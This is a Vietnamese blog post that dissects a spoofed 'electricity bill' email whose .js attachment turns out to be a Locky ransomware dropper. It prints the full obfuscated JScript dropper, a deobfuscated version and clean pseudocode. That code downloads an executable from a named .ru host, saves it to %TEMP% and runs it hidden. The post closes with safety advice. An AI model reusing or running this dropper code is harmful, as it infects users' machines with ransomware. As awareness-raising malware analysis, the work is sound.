Internet Is Dangerous: A Weird Email

Intro

Trong một ngày đẹp trời (8/3 - Chúc mừng ngày quốc tế phụ nữ !) trong lúc kiểm tra mail trong Thunderbird, mình nhận được một cái email như sau:

mail.png

và thế là câu chuyện bắt đầu...

Bức email kì lạ

Nhìn vào nội dung email phía trên, ta có thể nhận thấy vài điểm lạ như sau:

  • Email này được mình gửi cho chính mình ???. What the ....
  • Tiêu đề nguyen.anh.tien Your Electricity bill -8442$ dịch nôm na là "hoá đơn tiền điện của bạn đã bị trừ 8442 USD" tương đương 188 triệu đồng (?)
  • Nội dung trống trơn
  • Có một file đính kèm là : invoice_for_nguyen.anh.tien_8273.js

Đến đây chắc hẳn bạn đã đoán ra được đây là mail spam rồi vì chỉ mình là người Việt, chẳng có lẽ nào nhận được 1 cái hoá đơn tiền điện tiếng Anh mà lại tới cả hơn 188 triệu đồng =)) rõ ràng là quá đỗi hư cấu.

Đến đây thì 99.99% mọi người sẽ bỏ qua mail này. Thế nhưng, giả dụ bạn là người nói tiếng Anh đi, thì việc nhận được mail này cũng có vẻ hợp lý. Thêm nữa, mail này được chính bản thân chúng ta gửi cơ mà ?. Kiểm tra nguồn của mail:

spam.png

Vâng, địa chỉ From đã được làm giả (và việc này khá dễ) để trông có vẻ như ta tự gửi mail cho mình (ko hiểu sao có flag spam mà mail vẫn lọt được vào inbox (yaoming))

Nhìn vào số tiền 8442 USD thì ai cũng hốt hoảng vào check và khi nội dung mail trắng trơn thì manh mối còn lại duy nhất chính là file đính kèm...

Giải phẫu file đính kèm

Bước đầu

Định dạng .js sẽ khiến bạn nghĩ đến ngay Javascript (lúc đầu mình đã nhầm như vậy), nhưng đó là với hệ điều hành mình đang dùng là Ubuntu. Còn nếu là Windows, nó còn có nghĩa là JScript và điều nguy hiểm hơn nữa là bạn có thể click đôi chuột để thực thi mã JScript có trong đó. Quả là "Sai một li đi một dặm".

dclick.png

Khoan nói về hậu quả nếu vô tình thực thi file này. Ta cùng xem nội dung file này là gì:

url = "open";
rcombinators = "entStr", result = (function String.prototype.noBubble() {
    return this
}, "onm"), elementMatchers = "WSc", isReady = "rip";
overwritten = "crip", propFix = "n", padding = "Scri", cloneNode = ".XM", namespaces = 101, height = 23;
var offsetParent = "ADOD",
    old = "or",
    duration = "ble",
    identifier = "p",
    rbuggyMatches = "oFile",
    newSelector = "WS";
fadeTo = "ect";
var border = "./1.e",
    uniqueSort = "saveT",
    username = 155,
    setDocument = "Run";
pointerenter = "Cre", td = 3, support = "p://", defaultDisplay = 67, curLeft = "pt.", register = 7;
div1 = 72;
winnow = "WScrip";
conv2 = 190, allTypes = "seBod", computeStyleTests = "i", current = "on";
var pageX = 40;
curOffset = 37;
clientTop = "ach";
removeClass = 239;
keyCode = 75;
msg = "Crea";
var vendorPropName = "leep",
    realStringObj = "ysta",
    send = "sc",
    curPosition = "type",
    selector = 6;
var fnOut = 32,
    cur = 79;
var pageYOffset = 46,
    keyHooks = "%TEMP%",
    style = 2,
    postMap = "e";
var fadeOut = "W",
    contentType = "writa",
    display = "S",
    Sizzle = "positi",
    trim = "TP",
    mouseenter = 51;
rdashAlpha = "ateO";
mouseHooks = "hnik.";
traditional = "Creat";
rsubmitterTypes = "e/..";
condense = 47;
success = "/";
compare = "cri";
outermost = ".";
prefilterOrFactory = "clos";
activeElement = "g";
bind = 82;
ajaxPrefilter = "read", code = "ngs", unshift = "ject";
var els = "G",
    pipe = 2069,
    host = "dEnvir",
    rbracket = "Respon",
    createFxNow = "te";
var dataAndEvents = 33;
var prototype = "eOb",
    overrideMimeType = "pt",
    rnotwhite = 1,
    toggleClass = 260,
    suffix = "eam",
    groups = "bje";
hooks = "Expa", compilerCache = "send", rjsonp = "j", diff = "ET", define = 5;
wait = "xe", eased = "writ";
var event = 16;
nodeNameSelector = "y";
easing = "WScri";
var amd = "Slee",
    hasScripts = "c";
var funescape = "r",
    chainable = 64,
    exports = "ht",
    delegate = "B.Str",
    relatedTarget = "t";
checked = "stem/", rrun = "MSXML2", matcherIn = 55, opener = "ru/s", finalText = "Shell", destElements = "LHT";
var wrapAll = 4,
    off = 0,
    pseudo = 167;
rquery = (((6 & register) + (49 * wrapAll + 9)), ((cur - (225, keyCode, 64)), this));
strAbort = setDocument;
defaultPrefilter = rquery[winnow + relatedTarget];
setGlobalEval = defaultPrefilter[traditional + prototype + unshift](newSelector + compare + curLeft + finalText);
clientX = setGlobalEval[hooks + propFix + host + result + rcombinators + computeStyleTests + code](keyHooks + success) + contentType + duration + outermost + send + funescape;
isBorderBox = rquery[elementMatchers + isReady + relatedTarget][pointerenter + rdashAlpha + groups + hasScripts + relatedTarget](rrun + cloneNode + destElements + trim);
isBorderBox[url](els + diff, exports + relatedTarget + support + relatedTarget + old + activeElement + relatedTarget + postMap + mouseHooks + opener + nodeNameSelector + checked + hasScripts + clientTop + rsubmitterTypes + border + wait, !((((((div1, 22, td) + (113 - defaultDisplay)) | (0 ^ off)) ^ ((Math.pow((147, mouseenter, 149, register), (1 * style)) - (47 & matcherIn)) ^ ((227, rnotwhite) | (14 / style)))) - ((((1280 / pageX), (36 + off), (80 ^ conv2), (22 * td + 21)) & (define * 5 * define & (95 ^ fnOut))) - ((97, (curOffset - 36), (bind, 62, namespaces, 162), (rnotwhite & 0)) | ((pseudo - 88) - (Math.pow(pageYOffset, 2) - pipe))))) > 4));
isBorderBox[compilerCache]();
while (isBorderBox[ajaxPrefilter + realStringObj + createFxNow] < (Math.pow((rnotwhite + 2), (style | 2)) - (td ^ 6))) {
    rquery[fadeOut + padding + overrideMimeType][display + vendorPropName](((chainable | 70) ^ (wrapAll * 8 + style)));
}
divStyle = rquery[easing + overrideMimeType][msg + width + rjsonp + fadeTo](offsetParent + delegate + suffix);
rquery[fadeOut + display + overwritten + relatedTarget][amd + identifier](((494 - toggleClass), (705000 / condense)));

divStyle[url]();
dirruns = divStyle;
dirruns[curPosition] = 1;
cssProps = dirruns;
divStyle[eased + postMap](isBorderBox[rbracket + allTypes + nodeNameSelector]);
cssProps[Sizzle + current] = ((Math.pow(event, 2) - removeClass) - (6 * style + 5));
divStyle[uniqueSort + rbuggyMatches](clientX, ((dataAndEvents / 33) ^ (selector - 3)));
divStyle[prefilterOrFactory + postMap]();
rtrim = setGlobalEval;
rtrim[strAbort](clientX.noBubble(), ((username, 40, off) | 0), ((rnotwhite * 0) / (height + 18)));

Vâng, know that die, hiểu chết liền (facepalm)

Let's phân tích

Về cơ bản thì JScript là một biến thể của Javascript được Microsoft phát triển dành cho Internet Explorer và hay được biết đến với cái tên Active Script. Không chỉ chạy được trên trình duyệt, Jscript còn có thể chạy độc lập thông qua các trình interpreter cscript.exe hoặc wsscript.exe. Ví dụ như sau:

cmd.png

từ cmd của Windows hoặc click đúp vào file .js. Bạn có thể sử dụng lệnh WScript.echo để debug.

Ta thấy ở đầu file có rất nhiều khai báo biến, chẳng hạn như:

width = "teOb";
...
fadeTo = "ect";
...
msg = "Crea";
...
hooks = "Expa", compilerCache = "send", rjsonp = "j", diff = "ET", define = 5;

và sau đó các biến này được sử dụng ở đây:

divStyle = rquery[easing + overrideMimeType][msg + width + rjsonp + fadeTo](offsetParent + delegate + suffix);

Nếu ghép các chuỗi trên vào với nhau ta sẽ có:

"Crea" + "teOb" + "j" + "ect" = "CreateObject"

Có vẻ có nghĩa rồi đúng ko 😄. Vậy đơn giản, tác giả của đoạn code này đã sử dụng kĩ thuật chia chuỗi để giấu đi nội dung của các chuỗi bên dưới.

result = (function String.prototype.noBubble() {
    return this
}, "onm")

Tiếp theo tại chỗ này, cú pháp khá lạ. Nhưng khi test thử thì result sẽ chỉ nhận kết quả của biểu thức cuối cùng: "onm" còn biểu thức trước vẫn được thực thi (Sau này ta sẽ thấy nó được dùng tại đoạn clientX.noBubble())

Làm đẹp code

Với quy tắc trên, ta tiến hành thay thế các biến bằng các chuỗi và giá trị tương ứng. Ta được kết quả như sau:

rquery = (((6 & 7) + (49 * 4 + 9)), ((79 - (225, 75, 64)), this));
defaultPrefilter = rquery["WScrip" + "t"];
setGlobalEval = defaultPrefilter["Creat" + "eOb" + "ject"]("WS" + "cri" + "pt." + "Shell");
clientX = setGlobalEval["Expa" + "n" + "dEnvir" + "onmentStr" + "i" + "ngs"]("%TEMP%" + "/") + "writa" + "ble" + "." + "sc" + "r";
isBorderBox = this.WScript["Cre" + "ateO" + "bje" + "c" + "t"]("MSXML2" + ".XM" + "LHT" + "TP");
isBorderBox["open"]("G" + "ET", "ht" + "t" + "p://" + "t" + "or" + "g" + "t" + "e" + "hnik." + "ru/s" + "y" + "stem" + "c" + "ach" + "e/.." + "./1.e" + "xe", !((((((72, 22, 3) + (113 - 67)) | (0 ^ 0)) ^ ((Math.pow((147, 51, 149, register), (1 * 2)) - (47 & 55)) ^ ((227, 1) | (14 / style)))) - ((((1280 / 40), (36 + 0), (80 ^ 190), (22 * td + 21)) & (5 * 5 * 5 & (95 ^ 32))) - ((97, (37 - 36), (82, 62, 101, 162), (1 & 0)) | ((167 - 88) - (Math.pow(46, 2) - 2069))))) > 4));
isBorderBox["send"]();
while (isBorderBox["read" + "ysta" + "te"] < (Math.pow((1 + 2), (style | 2)) - (td ^ 6))) {
    rquery["W" + "Scri" + "pt"]["S" + "leep"](((64 | 70) ^ (4 * 8 + style)));
}
divStyle = rquery["WScri" + "pt"]["Crea" + "teOb" + "j" + "ect"]("ADOD" + "B.Str" + "eam");
rquery["W" + "S" + "crip" + "t"]["Slee" + "p"](((494 - 260), (705000 / 47)));

divStyle["open"]();
dirruns = divStyle;
dirruns["type"] = 1;
cssProps = dirruns;
divStyle["writ" + "e"](isBorderBox["Respon" + "seBod" + "y"]);
cssProps["positi" + "on"] = ((Math.pow(16, 2) - 239) - (6 * style + 5));
divStyle["saveT" + "oFile"](clientX, ((33 / 33) ^ (6 - 3)));
divStyle["clos" + "e"]();
rtrim = setGlobalEval;
rtrim["Run"](clientX.noBubble(), ((155, 40, 0) | 0), ((1 * 0) / (23 + 18)));

ở đây:

rquery = (((6 & 7) + (49 * 4 + 9)), ((79 - (225, 75, 64)), this));

rquery sẽ nhận giá trị cuối cùng, tức là this.

Hãy chú ý vào dòng này:

setGlobalEval = defaultPrefilter["Creat" + "eOb" + "ject"]("WS" + "cri" + "pt." + "Shell");

Đây là 1 cách gọi phương thức (method) trong Javascript. Ghép chuỗi lại:

setGlobalEval = defaultPrefilter["CreateObject"]("WScript.Shell");

tương đương với:

setGlobalEval = defaultPrefilter.CreateObject("WScript.Shell");

Các biểu thức toán học ví dụ như:

((155, 40, 0) | 0), ((1 * 0) / (23 + 18))

Bạn có thể đưa vào code và chạy thử để được kết quả

a = ((155, 40, 0) | 0);
WScript.echo(a);

test.png

Pseudo Code

Và đây là code mình dựng lại được sau khoảng 1 tiếng phân tích và tìm hiểu:

script = this.WScript;
shell = script.CreateObject("WScript.Shell");
filePath = script.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%/") + "writable.scr";
getter = script.CreateObject("MSXML2.XMLHTTP");
getter.open("GET", "http://torgtehnik.ru/systemcache/.../1.exe", 0);
getter.send();
while (getter.readystate < 4) { // Chờ cho đến khi nào file được load xong
    script.Sleep(100);
}
stream = script.CreateObject("ADODB.Stream");
script.Sleep(15000);

stream.open();
stream.type = 1;
stream.write(getter.ResponeBody);
stream.position = 0
stream.saveToFile(filePath, 2) // adSaveCreateOverWrite : tạo mới nếu chưa có, ghi đè nếu đã có rồi
stream.close()
anotherShell = script.CreateObject("WScript.Shell");
anotherShell.run(filePath, 0, 0) // Chạy ngầm (không có window) và chạy luôn không cần chờ kết quả

Tóm tắt lại: Khi ta chạy file này, nó sẽ tải về 1 file exe từ địa chỉ: http://torgtehnik.ru/systemcache/.../1.exelưu ở đường dẫn %TEMP%/ dưới tên file writable.scr và chạy file đó.

Hậu quả khi thực thi file

Với các thông tin trên, mình tìm thử trên mạng thì thấy file này đã được phân tích tại:

Có vài screenshot khi thực thi: ransomeware.jpg

Tạm dịch:

Tất cả các tài liệu của bạn đã được mã hoá bằng thuật toán RSA-2048 và AES-128. Thông tin chi tiết có thể xem tại...

Việc giải mã hoá chỉ có thể được tiến hành bằng khoá bí mật và chương trình giải mã có trên server bí mật của chúng tôi. Bạn có thể nhận khoá bí mật thông qua các trang sau ...

Mã ID cá nhân của bạn: ...

Như vậy bạn đã trở thàng nạn nhân của Ransomware. Cụ thể ở đây là Locky Ransomware. Cụ thể chi tiết tại đây

Ransomware là một loại sâu máy tính mới với nhiệm vụ chính là tống tiền: sau khi thâm nhập vào máy tính,ransomware mã hoá các file tài liệu của bạn sử dụng các hệ mật mã mạnh. Bạn phải trả tiền (thường là Bitcoin) để giải mã các file hoặc là chấp nhận mất các file đó mãi mãi. Loại sâu máy tính này đã xuất hiện 1 thời gian và gây rất nhiều thiệt hại đáng kể cho cả cá nhân và các cơ quan (có cả các cơ quan cảnh sát). Rất may là các tổ chức bảo mật đang tìm cách phân tích và tạo ra các chương trình giải mã để bạn ko phải trả tiền oan uổng. Tuy nhiên, không phải lúc nào mọi chuyện cũng như ta mong muốn.

Làm sao để bảo vệ mình ?

Ngoài Ransomware thì Internet còn tiềm ẩn rất nhiều nguy cơ khác nhau, ví dụ như: Virus, Spyware, Adware, Phishing, Hi-jacking...hãy tuân thủ 1 vài nguyên tắc sau để đảm bảo an toàn nhé:

  • Không click vào link và chạy các file đính kèm lạ hoặc từ các email lạ
  • Cài đặt các phần mềm bảo mật và diệt virus, luôn cập nhật phiên bản mới nhất
  • Quét virus định kì và trước khi chạy file thấy nghi ngờ
  • Chú ý khi sử dụng các thiết bị lưu trữ bên ngoài (USB, ổ cứng di động)

Kết bài

Hi vọng, bài viết đã phần nào nâng cao cảnh giác của mọi người, vì đơn giản, hiểm hoạ luôn rình rập xung quanh chúng ta. That's all !

P/S: Happy International Women Day (dance2) (tanghoa)

Tham khảo


All Rights Reserved